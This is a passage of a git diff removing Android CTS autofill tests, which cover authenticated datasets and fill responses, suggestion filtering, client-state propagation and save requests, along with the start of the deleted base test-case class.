-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Create the authentication intents
-        final CannedDataset unlockedDataset = new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .build();
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                unlockedDataset);
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("DS1"))
-                        .setAuthentication(authentication)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "DUDE,THE")
-                        .setField(ID_PASSWORD, "SWEET")
-                        .setPresentation(createPresentation("DS2"))
-                        .setAuthentication(authentication)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ZzBottom")
-                        .setField(ID_PASSWORD, "top")
-                        .setPresentation(createPresentation("DS3"))
-                        .setAuthentication(authentication)
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Make sure it's showing initially...
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("DS1", "DS2", "DS3");
-
-        // ...then type something to hide them.
-        mActivity.onUsername((v) -> v.setText("a"));
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Now delete the char and assert they're shown again...
-        mActivity.onUsername((v) -> v.setText(""));
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("DS1", "DS2", "DS3");
-
-        // ...then filter for 2
-        mActivity.onUsername((v) -> v.setText("d"));
-        mUiBot.assertDatasets("DS1", "DS2");
-
-        // ...up to 1
-        mActivity.onUsername((v) -> v.setText("du"));
-        mUiBot.assertDatasets("DS1", "DS2");
-        mActivity.onUsername((v) -> v.setText("dud"));
-        mUiBot.assertDatasets("DS1", "DS2");
-        mActivity.onUsername((v) -> v.setText("dude"));
-        mUiBot.assertDatasets("DS1", "DS2");
-        mActivity.onUsername((v) -> v.setText("dude,"));
-        mUiBot.assertDatasets("DS2");
-
-        // Now delete the char and assert 2 are shown again...
-        mActivity.onUsername((v) -> v.setText("dude"));
-        final UiObject2 picker = mUiBot.assertDatasets("DS1", "DS2");
-
-        // ...and select it this time
-        mUiBot.selectDataset(picker, "DS1");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    public void testDatasetAuthFilteringUsingRegex() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Create the authentication intents
-        final CannedDataset unlockedDataset = new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .build();
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                unlockedDataset);
-
-        // Configure the service behavior
-
-        final Pattern min2Chars = Pattern.compile(".{2,}");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE, min2Chars)
-                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("Tap to auth dataset"))
-                        .setAuthentication(authentication)
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Make sure it's showing initially...
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset");
-
-        // ...then type something to hide it.
-        mActivity.onUsername((v) -> v.setText("a"));
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // ...now type something again to show it, as the input will have 2 chars.
-        mActivity.onUsername((v) -> v.setText("aa"));
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset");
-
-        // Delete the char and assert it's not shown again...
-        mActivity.onUsername((v) -> v.setText("a"));
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // ...then type something again to show it, as the input will have 2 chars.
-        mActivity.onUsername((v) -> v.setText("aa"));
-        callback.assertUiShownEvent(username);
-
-        // ...and select it this time
-        mUiBot.selectDataset("Tap to auth dataset");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthFilteringUsingRegex() is enough")
-    public void testDatasetAuthMixedFilteringSelectAuth() throws Exception {
-        datasetAuthMixedFilteringTest(true);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthFilteringUsingRegex() is enough")
-    public void testDatasetAuthMixedFilteringSelectNonAuth() throws Exception {
-        datasetAuthMixedFilteringTest(false);
-    }
-
-    private void datasetAuthMixedFilteringTest(boolean selectAuth) throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Create the authentication intents
-        final CannedDataset unlockedDataset = new CannedDataset.Builder()
-                .setField(ID_USERNAME, "DUDE")
-                .setField(ID_PASSWORD, "SWEET")
-                .build();
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                unlockedDataset);
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("Tap to auth dataset"))
-                        .setAuthentication(authentication)
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("What, me auth?"))
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        if (selectAuth) {
-            mActivity.expectAutoFill("DUDE", "SWEET");
-        } else {
-            mActivity.expectAutoFill("dude", "sweet");
-        }
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Make sure it's showing initially...
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
-
-        // Filter the auth dataset.
-        mActivity.onUsername((v) -> v.setText("d"));
-        mUiBot.assertDatasets("What, me auth?");
-
-        // Filter all.
-        mActivity.onUsername((v) -> v.setText("dw"));
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Now delete the char and assert the non-auth is shown again.
-        mActivity.onUsername((v) -> v.setText("d"));
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("What, me auth?");
-
-        // Delete again and assert all dataset are shown.
-        mActivity.onUsername((v) -> v.setText(""));
-        mUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
-
-        // ...and select it this time
-        final String chosenOne = selectAuth ? "Tap to auth dataset" : "What, me auth?";
-        mUiBot.selectDataset(chosenOne);
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    public void testDatasetAuthClientStateSetOnIntentOnly() throws Exception {
-        fillDatasetAuthWithClientState(ClientStateLocation.INTENT_ONLY);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthClientStateSetOnIntentOnly() is enough")
-    public void testDatasetAuthClientStateSetOnFillResponseOnly() throws Exception {
-        fillDatasetAuthWithClientState(ClientStateLocation.FILL_RESPONSE_ONLY);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDatasetAuthClientStateSetOnIntentOnly() is enough")
-    public void testDatasetAuthClientStateSetOnIntentAndFillResponse() throws Exception {
-        fillDatasetAuthWithClientState(ClientStateLocation.BOTH);
-    }
-
-    private void fillDatasetAuthWithClientState(ClientStateLocation where) throws Exception {
-        // Set service.
-        enableService();
-
-        // Prepare the authenticated response
-        final CannedDataset dataset = new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .build();
-        final IntentSender authentication = where == ClientStateLocation.FILL_RESPONSE_ONLY
-                ? AuthenticationActivity.createSender(mContext, 1,
-                        dataset)
-                : AuthenticationActivity.createSender(mContext, 1,
-                        dataset, Helper.newClientState("CSI", "FromIntent"));
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setExtras(Helper.newClientState("CSI", "FromResponse"))
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
-                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
-                        .setPresentation(createPresentation("Tap to auth dataset"))
-                        .setAuthentication(authentication)
-                        .build())
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Tap authentication request.
-        mUiBot.selectDataset("Tap to auth dataset");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Now trigger save.
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert client state on authentication activity.
-        Helper.assertAuthenticationClientState("auth activity", AuthenticationActivity.getData(),
-                "CSI", "FromResponse");
-
-        // Assert client state on save request.
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final String expectedValue = where == ClientStateLocation.FILL_RESPONSE_ONLY
-                ? "FromResponse" : "FromIntent";
-        Helper.assertAuthenticationClientState("on save", saveRequest.data, "CSI", expectedValue);
-    }
-
-    @Test
-    public void testFillResponseAuthBothFields() throws Exception {
-        fillResponseAuthBothFields(false);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
-    public void testFillResponseAuthBothFieldsUserCancelsFirstAttempt() throws Exception {
-        fillResponseAuthBothFields(true);
-    }
-
-    private void fillResponseAuthBothFields(boolean cancelFirstAttempt) throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Prepare the authenticated response
-        final Bundle clientState = new Bundle();
-        clientState.putString("numbers", "4815162342");
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedFillResponse.Builder().addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_USERNAME, "dude")
-                                .setField(ID_PASSWORD, "sweet")
-                                .setId("name")
-                                .setPresentation(createPresentation("Dataset"))
-                                .build())
-                        .setExtras(clientState).build());
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
-                .setPresentation(createPresentation("Tap to auth response"))
-                .setExtras(clientState)
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth response");
-
-        // Make sure UI is show on 2nd field as well
-        final View password = mActivity.getPassword();
-        requestFocusOnPassword();
-        callback.assertUiHiddenEvent(username);
-        callback.assertUiShownEvent(password);
-        mUiBot.assertDatasets("Tap to auth response");
-
-        // Now tap on 1st field to show it again...
-        requestFocusOnUsername();
-        callback.assertUiHiddenEvent(password);
-        callback.assertUiShownEvent(username);
-
-        if (cancelFirstAttempt) {
-            // Trigger the auth dialog, but emulate cancel.
-            AuthenticationActivity.setResultCode(RESULT_CANCELED);
-            mUiBot.selectDataset("Tap to auth response");
-            callback.assertUiHiddenEvent(username);
-            callback.assertUiShownEvent(username);
-            mUiBot.assertDatasets("Tap to auth response");
-
-            // Make sure it's still shown on other fields...
-            requestFocusOnPassword();
-            callback.assertUiHiddenEvent(username);
-            callback.assertUiShownEvent(password);
-            mUiBot.assertDatasets("Tap to auth response");
-
-            // Tap on 1st field to show it again...
-            requestFocusOnUsername();
-            callback.assertUiHiddenEvent(password);
-            callback.assertUiShownEvent(username);
-        }
-
-        // ...and select it this time
-        AuthenticationActivity.setResultCode(RESULT_OK);
-        mUiBot.selectDataset("Tap to auth response");
-        callback.assertUiHiddenEvent(username);
-        callback.assertUiShownEvent(username);
-        final UiObject2 picker = mUiBot.assertDatasets("Dataset");
-        mUiBot.selectDataset(picker, "Dataset");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        final Bundle data = AuthenticationActivity.getData();
-        assertThat(data).isNotNull();
-        final String extraValue = data.getString("numbers");
-        assertThat(extraValue).isEqualTo("4815162342");
-    }
-
-    @Test
-    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
-    public void testFillResponseAuthJustOneField() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Prepare the authenticated response
-        final Bundle clientState = new Bundle();
-        clientState.putString("numbers", "4815162342");
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedFillResponse.Builder().addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_USERNAME, "dude")
-                                .setField(ID_PASSWORD, "sweet")
-                                .setPresentation(createPresentation("Dataset"))
-                                .build())
-                        .build());
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setAuthentication(authentication, ID_USERNAME)
-                .setIgnoreFields(ID_PASSWORD)
-                .setPresentation(createPresentation("Tap to auth response"))
-                .setExtras(clientState)
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth response");
-
-        // Make sure UI is not show on 2nd field
-        requestFocusOnPassword();
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-        // Now tap on 1st field to show it again...
-        requestFocusOnUsername();
-        callback.assertUiShownEvent(username);
-
-        // ...and select it this time
-        mUiBot.selectDataset("Tap to auth response");
-        callback.assertUiHiddenEvent(username);
-        final UiObject2 picker = mUiBot.assertDatasets("Dataset");
-
-        callback.assertUiShownEvent(username);
-        mUiBot.selectDataset(picker, "Dataset");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-        final Bundle data = AuthenticationActivity.getData();
-        assertThat(data).isNotNull();
-        final String extraValue = data.getString("numbers");
-        assertThat(extraValue).isEqualTo("4815162342");
-    }
-
-    @Test
-    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
-    public void testFillResponseAuthWhenAppCallsCancel() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedFillResponse.Builder().addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_USERNAME, "dude")
-                                .setField(ID_PASSWORD, "sweet")
-                                .setId("name")
-                                .setPresentation(createPresentation("Dataset"))
-                                .build())
-                        .build());
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
-                .setPresentation(createPresentation("Tap to auth response"))
-                .build());
-
-        // Trigger autofill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth response");
-
-        // Disables autofill so it's not triggered again after the auth activity is finished
-        // (and current session is canceled) and the login activity is resumed.
-        username.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO);
-
-        // Autofill it.
-        final CountDownLatch latch = new CountDownLatch(1);
-        AuthenticationActivity.setResultCode(latch, RESULT_OK);
-
-        mUiBot.selectDataset("Tap to auth response");
-        callback.assertUiHiddenEvent(username);
-
-        // Cancel session...
-        mActivity.getAutofillManager().cancel();
-
-        // ...before finishing the Auth UI.
-        latch.countDown();
-
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
-    public void testFillResponseAuthServiceHasNoDataButCanSave() throws Exception {
-        fillResponseAuthServiceHasNoDataTest(true);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
-    public void testFillResponseAuthServiceHasNoData() throws Exception {
-        fillResponseAuthServiceHasNoDataTest(false);
-    }
-
-    private void fillResponseAuthServiceHasNoDataTest(boolean canSave) throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Prepare the authenticated response
-        final CannedFillResponse response = canSave
-                ? new CannedFillResponse.Builder()
-                        .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                        .build()
-                : CannedFillResponse.NO_RESPONSE;
-
-        final IntentSender authentication =
-                AuthenticationActivity.createSender(mContext, 1, response);
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
-                .setPresentation(createPresentation("Tap to auth response"))
-                .build());
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-        callback.assertUiShownEvent(username);
-
-        // Select the authentication dialog.
-        mUiBot.selectDataset("Tap to auth response");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        if (!canSave) {
-            // Our work is done!
-            return;
-        }
-
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        sReplier.assertNoUnhandledSaveRequests();
-        assertThat(saveRequest.datasetIds).isNull();
-
-        // Assert value of expected fields - should not be sanitized.
-        final ViewNode usernameNode = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-        assertTextAndValue(usernameNode, "malkovich");
-        final ViewNode passwordNode = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-        assertTextAndValue(passwordNode, "malkovich");
-    }
-
-    @Test
-    public void testFillResponseAuthClientStateSetOnIntentOnly() throws Exception {
-        fillResponseAuthWithClientState(ClientStateLocation.INTENT_ONLY);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFillResponseAuthClientStateSetOnIntentOnly() is enough")
-    public void testFillResponseAuthClientStateSetOnFillResponseOnly() throws Exception {
-        fillResponseAuthWithClientState(ClientStateLocation.FILL_RESPONSE_ONLY);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFillResponseAuthClientStateSetOnIntentOnly() is enough")
-    public void testFillResponseAuthClientStateSetOnIntentAndFillResponse() throws Exception {
-        fillResponseAuthWithClientState(ClientStateLocation.BOTH);
-    }
-
-    enum ClientStateLocation {
-        INTENT_ONLY,
-        FILL_RESPONSE_ONLY,
-        BOTH
-    }
-
-    private void fillResponseAuthWithClientState(ClientStateLocation where) throws Exception {
-        // Set service.
-        enableService();
-
-        // Prepare the authenticated response
-        final CannedFillResponse.Builder authenticatedResponseBuilder =
-                new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("Dataset"))
-                        .build());
-
-        if (where == ClientStateLocation.FILL_RESPONSE_ONLY || where == ClientStateLocation.BOTH) {
-            authenticatedResponseBuilder.setExtras(
-                    Helper.newClientState("CSI", "FromAuthResponse"));
-        }
-
-        final IntentSender authentication = where == ClientStateLocation.FILL_RESPONSE_ONLY
-                ? AuthenticationActivity.createSender(mContext, 1,
-                authenticatedResponseBuilder.build())
-                : AuthenticationActivity.createSender(mContext, 1,
-                        authenticatedResponseBuilder.build(),
-                        Helper.newClientState("CSI", "FromIntent"));
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setAuthentication(authentication, ID_USERNAME)
-                .setIgnoreFields(ID_PASSWORD)
-                .setPresentation(createPresentation("Tap to auth response"))
-                .setExtras(Helper.newClientState("CSI", "FromResponse"))
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Tap authentication request.
-        mUiBot.selectDataset("Tap to auth response");
-
-        // Tap dataset.
-        mUiBot.selectDataset("Dataset");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Now trigger save.
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert client state on authentication activity.
-        Helper.assertAuthenticationClientState("auth activity", AuthenticationActivity.getData(),
-                "CSI", "FromResponse");
-
-        // Assert client state on save request.
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final String expectedValue = where == ClientStateLocation.FILL_RESPONSE_ONLY
-                ? "FromAuthResponse" : "FromIntent";
-        Helper.assertAuthenticationClientState("on save", saveRequest.data, "CSI", expectedValue);
-    }
-
-    @Test
-    public void testFillResponseFiltering() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Prepare the authenticated response
-        final Bundle clientState = new Bundle();
-        clientState.putString("numbers", "4815162342");
-        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
-                new CannedFillResponse.Builder().addDataset(
-                        new CannedDataset.Builder()
-                                .setField(ID_USERNAME, "dude")
-                                .setField(ID_PASSWORD, "sweet")
-                                .setId("name")
-                                .setPresentation(createPresentation("Dataset"))
-                                .build())
-                        .setExtras(clientState).build());
-
-        // Configure the service behavior
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
-                .setPresentation(createPresentation("Tap to auth response"))
-                .setExtras(clientState)
-                .build());
-
-        // Set expectation for the activity
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        // Make sure it's showing initially...
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth response");
-
-        // ..then type something to hide it.
-        mActivity.onUsername((v) -> v.setText("a"));
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Now delete the char and assert it's shown again...
-        mActivity.onUsername((v) -> v.setText(""));
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("Tap to auth response");
-
-        // ...and select it this time
-        AuthenticationActivity.setResultCode(RESULT_OK);
-        mUiBot.selectDataset("Tap to auth response");
-        callback.assertUiHiddenEvent(username);
-        callback.assertUiShownEvent(username);
-        final UiObject2 picker = mUiBot.assertDatasets("Dataset");
-        mUiBot.selectDataset(picker, "Dataset");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        final Bundle data = AuthenticationActivity.getData();
-        assertThat(data).isNotNull();
-        final String extraValue = data.getString("numbers");
-        assertThat(extraValue).isEqualTo("4815162342");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
deleted file mode 100644
index f0e1179..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ /dev/null
@@ -1,468 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.InstrumentedAutoFillService.SERVICE_NAME;
-import static android.content.Context.CLIPBOARD_SERVICE;
-
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
-import android.app.PendingIntent;
-import android.autofillservice.cts.InstrumentedAutoFillService.Replier;
-import android.autofillservice.cts.augmented.AugmentedAuthActivity;
-import android.autofillservice.cts.inline.InlineUiBot;
-import android.content.ClipboardManager;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.provider.DeviceConfig;
-import android.provider.Settings;
-import android.service.autofill.InlinePresentation;
-import android.util.Log;
-import android.view.autofill.AutofillManager;
-import android.widget.RemoteViews;
-
-import androidx.annotation.NonNull;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import com.android.compatibility.common.util.DeviceConfigStateChangerRule;
-import com.android.compatibility.common.util.RequiredFeatureRule;
-import com.android.compatibility.common.util.RetryRule;
-import com.android.compatibility.common.util.SafeCleanerRule;
-import com.android.compatibility.common.util.SettingsStateKeeperRule;
-import com.android.compatibility.common.util.TestNameUtils;
-import com.android.cts.mockime.ImeSettings;
-import com.android.cts.mockime.MockImeSessionRule;
-
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.ClassRule;
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runner.RunWith;
-import org.junit.runners.model.Statement;
-
-/**
- * Placeholder for the base class for all integration tests:
- *
- * <ul>
- *   <li>{@link AutoActivityLaunch}
- *   <li>{@link ManualActivityLaunch}
- * </ul>
- *
- * <p>These classes provide the common infrastructure such as:
- *
- * <ul>
- *   <li>Preserving the autofill service settings.
- *   <li>Cleaning up test state.
- *   <li>Wrapping the test under autofill-specific test rules.
- *   <li>Launching the activity used by the test.
- * </ul>
- */
-public final class AutoFillServiceTestCase {
-
-    /**
-     * Base class for all test cases that use an {@link AutofillActivityTestRule} to
-     * launch the activity.
-     */
-    // Must be public because of @ClassRule
-    public abstract static class AutoActivityLaunch<A extends AbstractAutoFillActivity>
-            extends BaseTestCase {
-
-        /**
-         * Returns if inline suggestion is enabled.
-         */
-        protected boolean isInlineMode() {
-            return false;
-        }
-
-        protected static UiBot getInlineUiBot() {
-            return sDefaultUiBot2;
-        }
-
-        protected static UiBot getDropdownUiBot() {
-            return sDefaultUiBot;
-        }
-
-        @ClassRule
-        public static final SettingsStateKeeperRule sPublicServiceSettingsKeeper =
-                sTheRealServiceSettingsKeeper;
-
-        protected AutoActivityLaunch() {
-            super(sDefaultUiBot);
-        }
-        protected AutoActivityLaunch(UiBot uiBot) {
-            super(uiBot);
-        }
-
-        @Override
-        protected TestRule getMainTestRule() {
-            return getActivityRule();
-        }
-
-        /**
-         * Gets the rule to launch the main activity for this test.
-         *
-         * <p><b>Note: </b>the rule must be either lazily generated or a static singleton, otherwise
-         * this method could return {@code null} when the rule chain that uses it is constructed.
-         *
-         */
-        protected abstract @NonNull AutofillActivityTestRule<A> getActivityRule();
-
-        protected @NonNull A launchActivity(@NonNull Intent intent) {
-            return getActivityRule().launchActivity(intent);
-        }
-
-        protected @NonNull A getActivity() {
-            return getActivityRule().getActivity();
-        }
-    }
-
-    /**
-     * Base class for all test cases that don't require an {@link AutofillActivityTestRule}.
-     */
-    // Must be public because of @ClassRule
-    public abstract static class ManualActivityLaunch extends BaseTestCase {
-
-        @ClassRule
